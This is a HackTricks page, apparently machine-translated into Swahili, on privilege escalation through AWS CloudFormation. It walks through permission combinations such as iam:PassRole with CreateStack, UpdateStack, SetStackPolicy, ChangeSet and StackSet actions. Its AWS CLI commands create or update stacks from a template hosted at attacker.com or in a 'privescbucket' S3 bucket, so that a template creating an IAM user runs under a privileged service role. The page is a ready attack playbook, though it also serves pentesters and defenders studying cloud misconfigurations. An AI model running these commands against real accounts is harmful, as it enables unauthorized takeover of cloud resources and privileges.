AWS - Cloudformation Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

cloudformation

Kwa habari zaidi kuhusu cloudformation angalia:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Mshambuliaji mwenye ruhusa hizi anaweza kukuza mamlaka kwa kutengeneza stakabadhi ya CloudFormation na templeti ya desturi, iliyohifadhiwa kwenye seva yao, kutekeleza hatua chini ya ruhusa ya jukumu lililoteuliwa:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Katika ukurasa ufuatao una mfano wa utumiaji mbaya na idhini ya ziada cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation iliyotajwa.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Katika kesi hii unaweza kutumia vibaya stak ya cloudformation iliyopo kuiboresha na kuinua mamlaka kama ilivyokuwa kwenye kisa kilichopita:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Ruhusu ya cloudformation:SetStackPolicy inaweza kutumika kujipa ruhusa ya UpdateStack juu ya stack na kufanya shambulio.

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation iliyotajwa.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Ikiwa una ruhusa hii lakini huna iam:PassRole bado unaweza kusasisha mizunguko inayotumiwa na kutumia Vivutio vya IAM waliyowekwa tayari. Angalia sehemu iliyopita kwa mfano wa kudanganya (tu usitaje jukumu lolote katika sasisho).

Ruhusa ya cloudformation:SetStackPolicy inaweza kutumika kujipa ruhusa ya UpdateStack juu ya stack na kufanya shambulio.

Matokeo Yanayowezekana: Privesc kwa jukumu la huduma ya cloudformation lililowekwa tayari.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Mshambuliaji mwenye ruhusa ya kupitisha jukumu na kuunda & kutekeleza ChangeSet anaweza kuunda/kusasisha mizunguko mpya ya cloudformation na kutumia vibaya majukumu ya huduma ya cloudformation kama ilivyo kwa CreateStack au UpdateStack.

Danganya ifuatayo ni tofauti ya ile ya CreateStack kutumia ruhusa za ChangeSet kuunda mizunguko.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Unaweza kutumia ruhusa ya cloudformation:SetStackPolicy kumpa mwenyewe ruhusa za ChangeSet juu ya stack na kufanya shambulio.

Matokeo Yanayowezekana: Privesc kwa majukumu ya huduma ya cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Hii ni kama njia iliyopita bila kupitisha majukumu ya IAM, kwa hivyo unaweza tu kutumia yale yaliyowekwa tayari, badilisha tu parameter:

--change-set-type UPDATE

Athari Inayowezekana: Privesc kwa jukumu la huduma ya cloudformation tayari limeunganishwa.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Mshambuliaji anaweza kutumia vibali hivi kuunda/kusasisha StackSets kutumia majukumu ya cloudformation ya kupindukia.

Athari Inayowezekana: Privesc kwa majukumu ya huduma ya cloudformation.

cloudformation:UpdateStackSet

Mshambuliaji anaweza kutumia kibali hiki bila kibali cha passRole kusasisha StackSets kutumia majukumu ya cloudformation yaliyounganishwa.

Athari Inayowezekana: Privesc kwa majukumu ya cloudformation yaliyounganishwa.

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated